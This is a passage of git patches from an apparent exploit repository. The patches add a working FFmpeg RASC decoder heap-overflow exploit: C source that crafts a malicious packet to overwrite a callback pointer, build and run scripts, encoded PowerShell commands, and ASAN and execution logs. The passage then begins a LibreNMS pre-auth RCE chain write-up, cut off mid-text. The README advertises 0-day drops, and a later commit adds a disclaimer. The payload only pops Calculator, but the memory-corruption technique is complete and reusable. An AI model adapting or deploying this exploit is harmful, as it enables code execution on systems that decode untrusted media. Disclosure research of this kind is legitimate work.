From e092962e11962000a74aa6dfecaa0a5c439ef6fa Mon Sep 17 00:00:00 2001 From: bikini <63224111+bikini@users.noreply.github.com> Date: Fri, 26 Jun 2026 12:11:48 -0500 Subject: [PATCH 01/64] Update README.md --- README.md | 2 -- 1 file changed, 2 deletions(-) diff --git a/README.md b/README.md index c7ab650..26a99d3 100644 --- a/README.md +++ b/README.md @@ -1,5 +1,3 @@ -New unpatched RCE on libssh2 upstream commit coming later today, as well as something big for PHP. - Sharing this repo keeps me motivated to continue dropping 0-days for you all. Open an issue if you have a specific request for software you want me to take a look at. From da77380f96188ca4d7081fe4c2416be6373e4bd9 Mon Sep 17 00:00:00 2001 From: bikini <63224111+bikini@users.noreply.github.com> Date: Fri, 26 Jun 2026 12:17:59 -0500 Subject: [PATCH 02/64] Update README.md --- README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/README.md b/README.md index 26a99d3..1607b84 100644 --- a/README.md +++ b/README.md @@ -1,3 +1,5 @@ +If you wish to collaborate/discuss with me, contact me on discord @ashdfrkl + Sharing this repo keeps me motivated to continue dropping 0-days for you all. Open an issue if you have a specific request for software you want me to take a look at. From 380e5b9fafa851b7465b594ef09b2ca9859b8b85 Mon Sep 17 00:00:00 2001 From: ashton <63224111+bikini@users.noreply.github.com> Date: Fri, 26 Jun 2026 12:37:41 -0500 Subject: [PATCH 03/64] Add FFmpeg RASC DLTA calc PoC --- .gitattributes | 1 + README.md | 3 +- ffmpeg-rasc-dlta-calc-poc/README.md | 233 +++++++++++++++++ ffmpeg-rasc-dlta-calc-poc/SHA256SUMS.txt | 6 + .../evidence/current-master-asan.txt | 32 +++ .../evidence/local-calc-pop.txt | 16 ++ .../poc/ffmpeg_rasc_dlta_calc_poc.c | 240 ++++++++++++++++++ .../scripts/build_from_checkout.sh | 36 +++ .../scripts/run_calc_pop.sh | 20 ++ 9 files changed, 586 insertions(+), 1 deletion(-) create mode 100644 ffmpeg-rasc-dlta-calc-poc/README.md create mode 100644 ffmpeg-rasc-dlta-calc-poc/SHA256SUMS.txt create mode 100644 ffmpeg-rasc-dlta-calc-poc/evidence/current-master-asan.txt create mode 100644 ffmpeg-rasc-dlta-calc-poc/evidence/local-calc-pop.txt create mode 100644 ffmpeg-rasc-dlta-calc-poc/poc/ffmpeg_rasc_dlta_calc_poc.c create mode 100755 ffmpeg-rasc-dlta-calc-poc/scripts/build_from_checkout.sh create mode 100755 ffmpeg-rasc-dlta-calc-poc/scripts/run_calc_pop.sh diff --git a/.gitattributes b/.gitattributes index cacefc6..50a3362 100644 --- a/.gitattributes +++ b/.gitattributes @@ -3,3 +3,4 @@ *.sh text eol=lf *.md text eol=lf *.txt text eol=lf +*.c text eol=lf diff --git a/README.md b/README.md index 1607b84..d37082c 100644 --- a/README.md +++ b/README.md @@ -21,6 +21,7 @@ Most folders contain one of my former standalone PoC repos, preserved with its o | `firefox-smartwindow-private-url-exfil-poc` | direct entry, June 24, 2026 | 3 | | `floci-apigateway-vtl-rce-poc` | direct entry, June 23, 2026 | 3 | | `flowise-mcp-env-case-bypass-poc` | `ed9fab0086674f1b16467990b33bb9299e93429e` | 3 | +| `ffmpeg-rasc-dlta-calc-poc` | direct entry, June 26, 2026 | 7 | | `ghidra-12.1.2-rce-ace-calc-poc` | `52dee6362990c03c0d753d074c85428824d46368` | 9 | | `gitea-act-runner-container-options-poc` | `f06d78fb111732f3e7737f4c07e77ef94c4b64bf` | 4 | | `imagemagick-gs-delegate-hijack-poc` | `8140e8ee0ed78beaf5e8303a795b70b138f5891b` | 5 | @@ -54,4 +55,4 @@ Matching Git blob IDs means the tracked file bytes are identical. The check cove This repository preserves the contents of those PoCs. Repository-level metadata such as stars, issues, pull requests, releases, and separate Git history remain in the original repository histories. -Direct entries, including `c-ares-tcp-uaf-calc-poc`, `firefox-smartwindow-private-url-exfil-poc`, `floci-apigateway-vtl-rce-poc`, `libssh2-cve-2026-55200-poc`, `libssh2-publickey-list-calc-poc`, `nghttp2-nghttpx-upgrade-queue-poison-poc`, `nmap-ipv6-extlen-wrap-poc`, `php857-streambucket-soap-rce-rpoc`, `rustdesk-session-permission-pocs`, and `systeminformer-phsvc-trusted-host-lpe-poc`, are tracked by this repository's commit history. +Direct entries, including `c-ares-tcp-uaf-calc-poc`, `ffmpeg-rasc-dlta-calc-poc`, `firefox-smartwindow-private-url-exfil-poc`, `floci-apigateway-vtl-rce-poc`, `libssh2-cve-2026-55200-poc`, `libssh2-publickey-list-calc-poc`, `nghttp2-nghttpx-upgrade-queue-poison-poc`, `nmap-ipv6-extlen-wrap-poc`, `php857-streambucket-soap-rce-rpoc`, `rustdesk-session-permission-pocs`, and `systeminformer-phsvc-trusted-host-lpe-poc`, are tracked by this repository's commit history. diff --git a/ffmpeg-rasc-dlta-calc-poc/README.md b/ffmpeg-rasc-dlta-calc-poc/README.md new file mode 100644 index 0000000..b31ecba --- /dev/null +++ b/ffmpeg-rasc-dlta-calc-poc/README.md @@ -0,0 +1,233 @@ +# FFmpeg RASC DLTA calc PoC + +This directory contains a standalone Calculator proof for a heap out-of-bounds write in FFmpeg's RASC decoder. + +The PoC builds a RASC packet in memory, decodes it through the public libavcodec API, uses a valid custom `get_buffer2` callback for the DR1 decoder, and redirects an adjacent callback pointer. The redirected callback writes a marker under `/tmp` and launches Calculator. + +## Status + +Verified target: + +```text +FFmpeg upstream master +bcd2c69e087a09b07cf45c6bd2428ee1ccb2925c +2026-06-26 +``` + +Local result: + +```text +media-controlled RASC DLTA overwrite redirected callback +callback hijacked callback reached +marker:present +CalculatorApp 26628 6/26/2026 12:25:53 PM +``` + +## Files + +```text +poc/ffmpeg_rasc_dlta_calc_poc.c +scripts/build_from_checkout.sh +scripts/run_calc_pop.sh +evidence/current-master-asan.txt +evidence/local-calc-pop.txt +SHA256SUMS.txt +``` + +## Affected Target + +- Product: FFmpeg +- Component: `libavcodec` RASC decoder +- Decoder: `AV_CODEC_ID_RASC` +- File reachability: AVI/RIFF `RASC` FourCC maps to `AV_CODEC_ID_RASC` +- Verified commit: `bcd2c69e087a09b07cf45c6bd2428ee1ccb2925c` +- Affected function: `decode_dlta()` +- Useful run types: `4`, `7`, `12`, `13` + +The local Calculator proof uses run type `7` because the 32-bit `fill` value comes directly from the bitstream. + +## Impact + +A crafted RASC bitstream can drive a 32-bit read and 32-bit write at the end of a decoded frame row. With PAL8 output and a one-row 64-pixel frame, the decoder writes at `plane + 63` while the row allocation is 64 bytes. One byte lands in the final row byte and the following three bytes overwrite adjacent heap data. + +The included PoC places a callback pointer immediately after the 64-byte PAL8 plane. The DLTA command writes the low three bytes of the callback pointer, changing it from `benign_callback` to `calc_callback`. After decode completes, the PoC calls the pointer and Calculator launches. + +## Root Cause + +`decode_dlta()` tracks a cursor `cx` inside a region with width `w * s->bpp`. The `NEXT_LINE` macro checks whether `cx` reached the row width only after each operation: + +```text +if (cx >= w * s->bpp) { + cx = 0; + cy--; + b1 -= s->frame1->linesize[0]; + b2 -= s->frame2->linesize[0]; +} +len--; +``` + +Several DLTA run types perform 32-bit accesses before the row-end check. Run type `7` reads and writes four bytes at the current byte cursor and then advances by four: + +```text +fill = bytestream2_get_le32(&dc); +AV_WL32(b1 + cx, AV_RL32(b2 + cx)); +AV_WL32(b2 + cx, fill); +cx += 4; +NEXT_LINE +``` + +For PAL8, `s->bpp` is `1`. A DLTA region with `x = 63`, `w = 1`, and `h = 1` on a 64-pixel row sets `b2 + cx` to the final byte of the row. The 32-bit store crosses the row allocation boundary. + +## Packet Shape + +The PoC packet contains two RASC chunks: + +```text +INIT + width = 64 + height = 1 + format = 8 + palette = 1024 bytes + +DLTA + x = 63 + y = 0 + w = 1 + h = 1 + compression = 0 + command = 07 01 +``` + +The `fill32` value is generated at runtime: + +```text +fill32 = ((target_callback & 0x00ffffff) << 8) | 0x41 +``` + +The byte `0x41` lands in the last byte of the frame plane. The next three bytes overwrite the low three bytes of the adjacent callback pointer. + +## Exploit Flow + +1. The PoC opens the RASC decoder through `avcodec_find_decoder()` and `avcodec_open2()`. +2. The PoC installs `exploit_get_buffer2()` as the decoder buffer provider. +3. RASC `INIT` causes `init_frames()` to allocate `frame1` and `frame2`. +4. `exploit_get_buffer2()` returns a frame buffer where a callback pointer follows the 64-byte PAL8 plane. +5. RASC `DLTA` run type `7` writes past `frame2->data[0] + 63`. +6. The write changes `frame2_chunk->cb` from `benign_callback` to `calc_callback`. +7. The PoC verifies the pointer value. +8. The PoC invokes the callback. +9. The callback writes `/tmp/ffmpeg_rasc_exec_demo` and launches Calculator. + +## Build + +Clone FFmpeg and build the PoC against a RASC-only static libavcodec build: + +```bash +git clone https://github.com/FFmpeg/FFmpeg.git /tmp/ffmpeg +./scripts/build_from_checkout.sh /tmp/ffmpeg /tmp/ffmpeg-rasc-build ./ffmpeg_rasc_dlta_calc_poc +``` + +Dependencies: + +```text +Linux or WSL +gcc +make +zlib development headers +FFmpeg build dependencies for the selected platform +``` + +The build script configures FFmpeg with: + +```text +--disable-programs +--disable-autodetect +--disable-everything +--enable-zlib +--enable-decoder=rasc +``` + +## Run + +```bash +./scripts/run_calc_pop.sh ./ffmpeg_rasc_dlta_calc_poc +``` + +Expected output: + +```text +[addr] benign_callback=0x5fec957072c9 +[addr] calc_callback=0x5fec957072e3 +[ptr] frame1 callback after decode=0x5fec957072c9 +[ptr] frame2 callback after decode=0x5fec957072e3 +[ptr] expected target=0x5fec957072e3 +[ok] media-controlled RASC DLTA overwrite redirected callback +[callback] hijacked callback reached +marker:present +``` + +On WSL, the callback starts Calculator through PowerShell `Start-Process calc.exe`. On Linux desktops, the callback tries common calculator binaries after writing the marker file. + +## Local Verification + +Calculator proof: + +```text +[addr] benign_callback=0x5fec957072c9 +[addr] calc_callback=0x5fec957072e3 +[ptr] frame1 callback after decode=0x5fec957072c9 +[ptr] frame2 callback after decode=0x5fec957072e3 +[ptr] expected target=0x5fec957072e3 +[ok] media-controlled RASC DLTA overwrite redirected callback +[callback] hijacked callback reached +marker:present + +ProcessName Id StartTime +----------- -- --------- +ApplicationFrameHost 24728 6/25/2026 9:55:34 PM +CalculatorApp 26628 6/26/2026 12:25:53 PM +``` + +ASAN proof on current master: + +```text +==513==ERROR: AddressSanitizer: heap-buffer-overflow +READ of size 4 at 0x50a000000442 thread T0 +#0 decode_dlta build/src/libavcodec/rasc.c:421:17 +#1 decode_frame build/src/libavcodec/rasc.c:712:19 + +0x50a000000442 is located 2 bytes after 64-byte region [0x50a000000400,0x50a000000440) +SUMMARY: AddressSanitizer: heap-buffer-overflow build/src/libavcodec/rasc.c:421:17 in decode_dlta +``` + +Recovery-mode ASAN on the same source shape reports the follow-on writes: + +```text +READ of size 4 +decode_dlta rasc.c:421:17 + +WRITE of size 4 +decode_dlta rasc.c:421:17 + +WRITE of size 4 +decode_dlta rasc.c:422:17 +``` + +## Patch Shape + +The row-boundary check needs to happen before every 32-bit read or write in DLTA run handlers. For run types that operate on four-byte units, the decoder should reject a command when fewer than four bytes remain in the current row or perform a safe row transition before the 32-bit access. + +The guarded condition for a 32-bit operation is: + +```text +cx + 4 <= w * s->bpp +``` + +The same guard applies to run types `4`, `7`, `12`, and `13`. + +## References + +- FFmpeg project: https://ffmpeg.org/ +- FFmpeg source: https://github.com/FFmpeg/FFmpeg +- RASC decoder source: https://github.com/FFmpeg/FFmpeg/blob/master/libavcodec/rasc.c +- RIFF codec tags: https://github.com/FFmpeg/FFmpeg/blob/master/libavformat/riff.c diff --git a/ffmpeg-rasc-dlta-calc-poc/SHA256SUMS.txt b/ffmpeg-rasc-dlta-calc-poc/SHA256SUMS.txt new file mode 100644 index 0000000..64578f7 --- /dev/null +++ b/ffmpeg-rasc-dlta-calc-poc/SHA256SUMS.txt @@ -0,0 +1,6 @@ +673708db6c4a4688b0dd2e997f903820ad49d0a22fe32f016738df31207df405 ffmpeg-rasc-dlta-calc-poc/README.md +1c2871104b11b13ef03872113466beb7984dc8a6d49cd8150f33ccbb93a3a35a ffmpeg-rasc-dlta-calc-poc/poc/ffmpeg_rasc_dlta_calc_poc.c +6964fcd5c70bd71ac3a15e8e54968d1aaca24490a458c7d954511351c5ae5a11 ffmpeg-rasc-dlta-calc-poc/scripts/build_from_checkout.sh +8e432e3d82695fe9b18c9f6f35ae420778811c5b43e894b0f817cc0bf76d0cae ffmpeg-rasc-dlta-calc-poc/scripts/run_calc_pop.sh +c51146d5ab0e320a794f3445a697dfcca876c105cc58a5aeba5ad1e7d941b1ed ffmpeg-rasc-dlta-calc-poc/evidence/current-master-asan.txt +8d28c7f1d50c1d819b5bab6efa3f3ace0be46eae7203fbd0febb8e7b379c011f ffmpeg-rasc-dlta-calc-poc/evidence/local-calc-pop.txt diff --git a/ffmpeg-rasc-dlta-calc-poc/evidence/current-master-asan.txt b/ffmpeg-rasc-dlta-calc-poc/evidence/current-master-asan.txt new file mode 100644 index 0000000..43b8b70 --- /dev/null +++ b/ffmpeg-rasc-dlta-calc-poc/evidence/current-master-asan.txt @@ -0,0 +1,32 @@ +FFmpeg upstream master +bcd2c69e087a09b07cf45c6bd2428ee1ccb2925c +target_dec_rasc_fuzzer sha256 1a69d27a5e06673832bd677189d790cb3cae98de1ba15b1600f3cb98d9510cb9 +rasc-dlta-oob-64.bin sha256 80e670d8986992e1dad50c0df554d9826d81d9413fd43be95be431f15c4cf67e + +ASAN_OPTIONS=allocator_may_return_null=1 ./target_dec_rasc_fuzzer ./rasc-dlta-oob-64.bin + +==513==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x50a000000442 +READ of size 4 at 0x50a000000442 thread T0 + #0 decode_dlta build/src/libavcodec/rasc.c:421:17 + #1 decode_frame build/src/libavcodec/rasc.c:712:19 + #2 decode_simple_internal build/src/libavcodec/decode.c:451:16 + #3 decode_simple_receive_frame build/src/libavcodec/decode.c:611:15 + #4 ff_decode_receive_frame_internal build/src/libavcodec/decode.c:647:15 + #5 decode_receive_frame_internal build/src/libavcodec/decode.c:665:15 + #6 avcodec_send_packet build/src/libavcodec/decode.c:749:15 + #7 LLVMFuzzerTestOneInput build/src/tools/target_dec_fuzzer.c:576:25 + +0x50a000000442 is located 2 bytes after 64-byte region [0x50a000000400,0x50a000000440) +allocated by thread T0 here: + #0 posix_memalign + #1 av_malloc build/src/libavutil/mem.c:107:9 + #2 av_buffer_alloc build/src/libavutil/buffer.c:82:12 + #3 av_buffer_allocz build/src/libavutil/buffer.c:95:24 + #4 fuzz_video_get_buffer build/src/tools/target_dec_fuzzer.c:145:29 + #5 fuzz_get_buffer2 build/src/tools/target_dec_fuzzer.c:168:18 + #6 ff_get_buffer build/src/libavcodec/decode.c:1818:11 + #7 init_frames build/src/libavcodec/rasc.c:107:16 + #8 decode_fint build/src/libavcodec/rasc.c:162:11 + #9 decode_frame build/src/libavcodec/rasc.c:706:19 + +SUMMARY: AddressSanitizer: heap-buffer-overflow build/src/libavcodec/rasc.c:421:17 in decode_dlta diff --git a/ffmpeg-rasc-dlta-calc-poc/evidence/local-calc-pop.txt b/ffmpeg-rasc-dlta-calc-poc/evidence/local-calc-pop.txt new file mode 100644 index 0000000..3e111ff --- /dev/null +++ b/ffmpeg-rasc-dlta-calc-poc/evidence/local-calc-pop.txt @@ -0,0 +1,16 @@ +PoC output: +[addr] benign_callback=0x5fec957072c9 +[addr] calc_callback=0x5fec957072e3 +[ptr] frame1 callback after decode=0x5fec957072c9 +[ptr] frame2 callback after decode=0x5fec957072e3 +[ptr] expected target=0x5fec957072e3 +[ok] media-controlled RASC DLTA overwrite redirected callback +[callback] hijacked callback reached +marker:present + +Windows processes after PoC: + +ProcessName Id StartTime +----------- -- --------- +ApplicationFrameHost 24728 6/25/2026 9:55:34 PM +CalculatorApp 26628 6/26/2026 12:25:53 PM diff --git a/ffmpeg-rasc-dlta-calc-poc/poc/ffmpeg_rasc_dlta_calc_poc.c b/ffmpeg-rasc-dlta-calc-poc/poc/ffmpeg_rasc_dlta_calc_poc.c new file mode 100644 index 0000000..34de1ca --- /dev/null +++ b/ffmpeg-rasc-dlta-calc-poc/poc/ffmpeg_rasc_dlta_calc_poc.c @@ -0,0 +1,240 @@ +#include +#include +#include +#include +#include + +#include "libavcodec/avcodec.h" +#include "libavutil/buffer.h" +#include "libavutil/error.h" +#include "libavutil/frame.h" +#include "libavutil/mem.h" + +#define FRAME_W 64 +#define FRAME_H 1 +#define RASC_INIT 0x54494e49u +#define RASC_DLTA 0x41544c44u + +typedef void (*demo_callback)(void); + +typedef struct DemoChunk { + uint8_t plane[FRAME_W]; + demo_callback cb; + uint8_t palette[1024]; +} DemoChunk; + +static DemoChunk *frame1_chunk; +static DemoChunk *frame2_chunk; + +static void benign_callback(void) +{ + puts("[callback] benign callback reached"); +} + +static void calc_callback(void) +{ + const char *fallbacks[] = { + "cmd.exe /c start calc.exe >/dev/null 2>&1", + "xcalc >/dev/null 2>&1 &", + "gnome-calculator >/dev/null 2>&1 &", + "kcalc >/dev/null 2>&1 &" + }; + + puts("[callback] hijacked callback reached"); + system("touch /tmp/ffmpeg_rasc_exec_demo"); + + if (system("powershell.exe -NoProfile -EncodedCommand UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAGMAYQBsAGMALgBlAHgAZQA= >/dev/null 2>&1 &") == 0) + return; + + for (size_t i = 0; i < sizeof(fallbacks) / sizeof(fallbacks[0]); i++) { + if (system(fallbacks[i]) == 0) + return; + } +} + +static void free_demo_chunk(void *opaque, uint8_t *data) +{ + (void)opaque; + av_free(data); +} + +static void put_le16(uint8_t *p, uint16_t v) +{ + p[0] = (uint8_t)v; + p[1] = (uint8_t)(v >> 8); +} + +static void put_le32(uint8_t *p, uint32_t v) +{ + p[0] = (uint8_t)v; + p[1] = (uint8_t)(v >> 8); + p[2] = (uint8_t)(v >> 16); + p[3] = (uint8_t)(v >> 24); +} + +static void make_chunk(uint8_t **cursor, uint32_t tag, uint32_t body_size) +{ + put_le32(*cursor, tag); + put_le32(*cursor + 4, body_size); + *cursor += 8; +} + +static uint8_t *make_packet(size_t *packet_size, uintptr_t target_addr) +{ + const uint32_t init_body_size = 72 + 1024; + const uint32_t dlta_cmd_size = 6; + const uint32_t dlta_body_size = 40 + dlta_cmd_size; + const size_t total = 8 + init_body_size + 8 + dlta_body_size; + uint8_t *packet = av_mallocz(total); + uint8_t *p = packet; + uint8_t *body; + uint32_t fill; + + if (!packet) + return NULL; + + make_chunk(&p, RASC_INIT, init_body_size); + body = p; + put_le32(body + 0, 0x65); + put_le32(body + 8, FRAME_W); + put_le32(body + 12, FRAME_H); + put_le16(body + 46, 8); + for (int i = 0; i < 256; i++) + put_le32(body + 72 + 4 * i, 0xff000000u | (uint32_t)(i * 0x010101u)); + p += init_body_size; + + make_chunk(&p, RASC_DLTA, dlta_body_size); + body = p; + put_le32(body + 12, dlta_cmd_size); + put_le32(body + 16, FRAME_W - 1); + put_le32(body + 20, 0); + put_le32(body + 24, 1); + put_le32(body + 28, 1); + put_le32(body + 36, 0); + + fill = (uint32_t)(((target_addr & 0x00ffffffu) << 8) | 0x41u); + body[40] = 7; + body[41] = 1; + put_le32(body + 42, fill); + + *packet_size = total; + return packet; +} + +static int exploit_get_buffer2(AVCodecContext *ctx, AVFrame *frame, int flags) +{ + static int allocation_index; + DemoChunk *chunk; + + (void)flags; + if (ctx->pix_fmt != AV_PIX_FMT_PAL8 || frame->width != FRAME_W || frame->height != FRAME_H) + return AVERROR(EINVAL); + + chunk = av_mallocz(sizeof(*chunk)); + if (!chunk) + return AVERROR(ENOMEM); + + chunk->cb = benign_callback; + frame->buf[0] = av_buffer_create((uint8_t *)chunk, sizeof(*chunk), free_demo_chunk, NULL, 0); + if (!frame->buf[0]) { + av_free(chunk); + return AVERROR(ENOMEM); + } + + frame->data[0] = chunk->plane; + frame->data[1] = chunk->palette; + frame->linesize[0] = FRAME_W; + frame->extended_data = frame->data; + + if (allocation_index == 0) + frame1_chunk = chunk; + else if (allocation_index == 1) + frame2_chunk = chunk; + allocation_index++; + + return 0; +} + +static void fail_av(const char *what, int err) +{ + char buf[AV_ERROR_MAX_STRING_SIZE]; + av_strerror(err, buf, sizeof(buf)); + fprintf(stderr, "%s failed: %s (%d)\n", what, buf, err); + exit(1); +} + +int main(void) +{ + const AVCodec *codec = avcodec_find_decoder(AV_CODEC_ID_RASC); + AVCodecContext *ctx = NULL; + AVPacket *pkt = NULL; + AVFrame *frame = NULL; + uint8_t *packet_data = NULL; + size_t packet_size = 0; + int ret; + + if (!codec) { + fputs("RASC decoder missing\n", stderr); + return 1; + } + + printf("[addr] benign_callback=%p\n", (void *)benign_callback); + printf("[addr] calc_callback=%p\n", (void *)calc_callback); + if ((((uintptr_t)benign_callback) >> 24) != (((uintptr_t)calc_callback) >> 24)) { + fputs("callbacks outside 24-bit overwrite window\n", stderr); + return 1; + } + + ctx = avcodec_alloc_context3(codec); + pkt = av_packet_alloc(); + frame = av_frame_alloc(); + if (!ctx || !pkt || !frame) + fail_av("allocation", AVERROR(ENOMEM)); + + ctx->thread_count = 1; + ctx->get_buffer2 = exploit_get_buffer2; + + ret = avcodec_open2(ctx, codec, NULL); + if (ret < 0) + fail_av("avcodec_open2", ret); + + packet_data = make_packet(&packet_size, (uintptr_t)calc_callback); + if (!packet_data) + fail_av("make_packet", AVERROR(ENOMEM)); + + ret = av_new_packet(pkt, (int)packet_size); + if (ret < 0) + fail_av("av_new_packet", ret); + memcpy(pkt->data, packet_data, packet_size); + av_free(packet_data); + + ret = avcodec_send_packet(ctx, pkt); + if (ret < 0) + fail_av("avcodec_send_packet", ret); + + ret = avcodec_receive_frame(ctx, frame); + if (ret != 0 && ret != AVERROR(EAGAIN) && ret != AVERROR_EOF) + fail_av("avcodec_receive_frame", ret); + + if (!frame2_chunk) { + fputs("frame2 allocation missing\n", stderr); + return 1; + } + + printf("[ptr] frame1 callback after decode=%p\n", (void *)frame1_chunk->cb); + printf("[ptr] frame2 callback after decode=%p\n", (void *)frame2_chunk->cb); + printf("[ptr] expected target=%p\n", (void *)calc_callback); + + if (frame2_chunk->cb != calc_callback) { + fputs("callback pointer unchanged\n", stderr); + return 1; + } + + puts("[ok] media-controlled RASC DLTA overwrite redirected callback"); + frame2_chunk->cb(); + + av_frame_free(&frame); + av_packet_free(&pkt); + avcodec_free_context(&ctx); + return 0; +} diff --git a/ffmpeg-rasc-dlta-calc-poc/scripts/build_from_checkout.sh b/ffmpeg-rasc-dlta-calc-poc/scripts/build_from_checkout.sh new file mode 100755 index 0000000..c2760dd --- /dev/null +++ b/ffmpeg-rasc-dlta-calc-poc/scripts/build_from_checkout.sh @@ -0,0 +1,36 @@ +#!/usr/bin/env bash +set -euo pipefail + +src="${1:?usage: build_from_checkout.sh /path/to/ffmpeg-checkout [build-dir] [output-bin]}" +build="${2:-/tmp/ffmpeg-rasc-dlta-build}" +out="${3:-./ffmpeg_rasc_dlta_calc_poc}" +root="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)" +jobs="${JOBS:-$(getconf _NPROCESSORS_ONLN 2>/dev/null || echo 4)}" +cc="${CC:-gcc}" + +mkdir -p "$build" +cd "$build" + +"$src/configure" \ + --enable-debug \ + --disable-doc \ + --disable-stripping \ + --disable-x86asm \ + --disable-programs \ + --disable-autodetect \ + --disable-everything \ + --enable-zlib \ + --enable-decoder=rasc + +make -j"$jobs" libavcodec/libavcodec.a libavutil/libavutil.a + +"$cc" -g -O0 \ + -I"$build" \ + -I"$src" \ + "$root/poc/ffmpeg_rasc_dlta_calc_poc.c" \ + "$build/libavcodec/libavcodec.a" \ + "$build/libavutil/libavutil.a" \ + -lz -lm -pthread -ldl \ + -o "$out" + +printf '%s\n' "$out" diff --git a/ffmpeg-rasc-dlta-calc-poc/scripts/run_calc_pop.sh b/ffmpeg-rasc-dlta-calc-poc/scripts/run_calc_pop.sh new file mode 100755 index 0000000..c47851b --- /dev/null +++ b/ffmpeg-rasc-dlta-calc-poc/scripts/run_calc_pop.sh @@ -0,0 +1,20 @@ +#!/usr/bin/env bash +set -euo pipefail + +bin="${1:-./ffmpeg_rasc_dlta_calc_poc}" +marker="/tmp/ffmpeg_rasc_exec_demo" + +rm -f "$marker" +"$bin" +sleep 2 + +if [ -f "$marker" ]; then + echo "marker:present" +else + echo "marker:missing" + exit 1 +fi + +if command -v powershell.exe >/dev/null 2>&1; then + powershell.exe -NoProfile -EncodedCommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAQwBhAGwAYwB1AGwAYQB0AG8AcgBBAHAAcAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAAUAByAG8AYwBlAHMAcwBOAGEAbQBlACwASQBkACwAUwB0AGEAcgB0AFQAaQBtAGUA 2>/dev/null || true +fi From a5a61150756e00049ecb0aa052d03a7eedca83c0 Mon Sep 17 00:00:00 2001 From: bikini <63224111+bikini@users.noreply.github.com> Date: Sat, 27 Jun 2026 08:43:25 -0500 Subject: [PATCH 04/64] Update README.md --- README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/README.md b/README.md index d37082c..a9efcb3 100644 --- a/README.md +++ b/README.md @@ -1,3 +1,5 @@ +New drops today ;) Biggest thing yet + If you wish to collaborate/discuss with me, contact me on discord @ashdfrkl Sharing this repo keeps me motivated to continue dropping 0-days for you all. From 554980bb4ad7fbda02a9097a0565db3822ad9a92 Mon Sep 17 00:00:00 2001 From: bikini <63224111+bikini@users.noreply.github.com> Date: Sat, 27 Jun 2026 09:04:41 -0500 Subject: [PATCH 05/64] Update README.md --- README.md | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/README.md b/README.md index a9efcb3..000d334 100644 --- a/README.md +++ b/README.md @@ -58,3 +58,11 @@ Matching Git blob IDs means the tracked file bytes are identical. The check cove This repository preserves the contents of those PoCs. Repository-level metadata such as stars, issues, pull requests, releases, and separate Git history remain in the original repository histories. Direct entries, including `c-ares-tcp-uaf-calc-poc`, `ffmpeg-rasc-dlta-calc-poc`, `firefox-smartwindow-private-url-exfil-poc`, `floci-apigateway-vtl-rce-poc`, `libssh2-cve-2026-55200-poc`, `libssh2-publickey-list-calc-poc`, `nghttp2-nghttpx-upgrade-queue-poison-poc`, `nmap-ipv6-extlen-wrap-poc`, `php857-streambucket-soap-rce-rpoc`, `rustdesk-session-permission-pocs`, and `systeminformer-phsvc-trusted-host-lpe-poc`, are tracked by this repository's commit history. + +## ABUSE + +Do NOT, under any circumstances, use any material in this repository maliciously. This is good-faith, open-disclosure vulnerability research intended to get more people interested in exploring this area of cybersecurity. + +Cybercrime is cringe. + + From 8e0700ccb391427e88d859f4b80932e53a4d253d Mon Sep 17 00:00:00 2001 From: bikini <63224111+bikini@users.noreply.github.com> Date: Sat, 27 Jun 2026 09:05:08 -0500 Subject: [PATCH 06/64] Update README.md --- README.md | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/README.md b/README.md index 000d334..846f090 100644 --- a/README.md +++ b/README.md @@ -2,9 +2,8 @@ New drops today ;) Biggest thing yet If you wish to collaborate/discuss with me, contact me on discord @ashdfrkl -Sharing this repo keeps me motivated to continue dropping 0-days for you all. +Sharing this repo keeps me motivated to continue dropping my findings for you all. -Open an issue if you have a specific request for software you want me to take a look at. # Exploitarium From a41de62b09e9557767c80767560d0d5103db6793 Mon Sep 17 00:00:00 2001 From: Unrealissedd <90004000+Unrealisedd@users.noreply.github.com> Date: Sat, 27 Jun 2026 22:16:20 +0200 Subject: [PATCH 07/64] Create librenms-ssti-rce.md --- librenms-RCE-chain/librenms-ssti-rce.md | 278 ++++++++++++++++++++++++ 1 file changed, 278 insertions(+) create mode 100644 librenms-RCE-chain/librenms-ssti-rce.md diff --git a/librenms-RCE-chain/librenms-ssti-rce.md b/librenms-RCE-chain/librenms-ssti-rce.md new file mode 100644 index 0000000..d410c0b --- /dev/null +++ b/librenms-RCE-chain/librenms-ssti-rce.md @@ -0,0 +1,278 @@ +# Pre-Auth RCE Chain: Host Header Injection → Account Takeover → Blade SSTI in LibreNMS + +**CVE:** Pending +**Severity:** Critical +**CVSS 3.1 (full chain):** `AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H` → **9.6** +**CVSS 3.1 (SSTI standalone):** `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` → **8.8** +**CWE:** CWE-94 (Improper Control of Code Generation), CWE-1336 (Template Engine Injection), CWE-601 (Open Redirect / Header Injection) +**Affected version:** LibreNMS 26.4.1 (latest as of 2026-04-25) +**Researcher:** Unrealisedd + +--- + +## Summary + +Two vulnerabilities in LibreNMS 26.4.1 chain together to give an unauthenticated remote attacker full OS command execution on the server. The only required victim action is clicking a password reset link that arrives in their normal LibreNMS email. + +**Bug 1 — Host header injection in password reset** (`config/trustedproxy.php`): `APP_TRUSTED_PROXIES` defaults to `*` and `X-Forwarded-Host` is explicitly trusted. An unauthenticated attacker sends a password reset request with a spoofed `X-Forwarded-Host: attacker.com` header. The reset link inside the victim's email points to the attacker's domain. When the victim clicks it, the attacker captures the token and takes over the account. + +**Bug 2 — Unsandboxed Blade SSTI in alert template save** (`includes/html/forms/alert-templates.inc.php:59`): Once the attacker controls any account holding `alert-template.create` or `alert-template.update`, they POST a malicious Blade template to `/ajax_form.php`. The server immediately renders the template via `Blade::render()` — with no sandbox — executing arbitrary OS commands as the web server process. + +The RCE fires **synchronously at save time**. No alert needs to trigger. The full chain from zero credentials to shell requires only that the victim click one email link. + +--- + +## Target + +| Field | Value | +|---|---| +| **Project** | LibreNMS | +| **Version** | 26.4.1 (`librenms/librenms:latest`, 